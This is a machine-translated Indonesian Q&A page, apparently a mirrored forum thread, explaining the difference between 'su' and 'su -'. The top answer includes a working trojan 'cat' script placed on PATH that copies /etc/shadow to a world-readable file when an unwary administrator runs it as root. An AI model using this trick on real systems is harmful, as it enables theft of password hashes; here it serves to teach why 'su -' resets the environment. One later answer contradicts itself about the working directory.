it-swarm-id.com

Mengapa kita menggunakan su - dan bukan hanya su?

Saya tidak mengerti mengapa su - lebih disukai daripada su untuk login sebagai root.

187
Dharmit

su - Meminta Shell login setelah mengalihkan pengguna. Shell login me-reset sebagian besar variabel lingkungan, memberikan basis yang bersih.

su hanya mengganti pengguna, memberikan Shell normal dengan lingkungan yang hampir sama dengan pengguna lama.

Bayangkan, Anda adalah pengembang perangkat lunak dengan akses pengguna normal ke mesin dan admin Anda yang bodoh tidak akan memberi Anda akses root. Mari (semoga) menipu dia.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Sekarang, Anda bertanya kepada admin Anda mengapa Anda tidak bisa cat file dummy di folder rumah Anda, itu tidak akan berfungsi!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Jika admin Anda tidak sepintar itu atau sedikit malas, ia mungkin datang ke meja Anda dan mencoba dengan kekuatan super-user-nya:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Terima kasih, admin super!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Hehe.

Anda mungkin memperhatikan bahwa variabel $PATH Yang rusak tidak disetel ulang. Ini tidak akan terjadi, jika admin memanggil su - Sebagai gantinya.

251
wag

su - mencatat Anda sepenuhnya sebagai root, sedangkan su membuatnya jadi Anda berpura-pura menjadi root.

Contoh paling jelas dari hal ini adalah ~ adalah direktori home root jika Anda menggunakan su -, tetapi direktori home Anda sendiri jika Anda menggunakan su.

Bergantung pada sistem Anda, itu juga bisa berarti perbedaan dalam Prompt, PATH, atau file histori.

Jadi jika Anda adalah bagian dari tim yang mengelola sistem, dan kolega Anda memberi Anda perintah untuk menjalankan, Anda tahu itu akan bekerja sama jika Anda berdua menggunakan su -, tetapi jika Anda berdua menggunakan su, mungkin ada perbedaan karena Anda memiliki konfigurasi Shell yang berbeda.

Di sisi lain, jika Anda ingin menjalankan perintah sebagai root tetapi menggunakan konfigurasi Anda sendiri, maka mungkin su lebih baik untuk Anda.

Juga jangan lupa tentang Sudo, yang memiliki -s opsi untuk memulai Shell yang berjalan sebagai root. Tentu saja, ini memiliki aturan yang berbeda juga, dan mereka berubah tergantung pada distribusi yang Anda gunakan.

37
Mikel

Perbedaan utama adalah:

su - username mengatur lingkungan Shell seolah-olah itu adalah login bersih sebagai pengguna yang ditentukan, ia mengakses dan menggunakan variabel lingkungan pengguna yang ditentukan,

su username baru memulai Shell dengan pengaturan lingkungan saat ini untuk pengguna yang ditentukan.

Jika nama pengguna tidak ditentukan dengan su dan su -, akun root tersirat sebagai default.

2
Akhil MK

Saya menggunakan su - ketika saya berada di direktori sebagai pengguna biasa tetapi ingin beralih ke root dan tetap di direktori yang sama setelah beralih. Ketika Anda menggunakan su - itu akan memindahkan pengguna ke root dan juga membawa Anda ke/root yang merupakan direktori home root.

1
Calvin Dike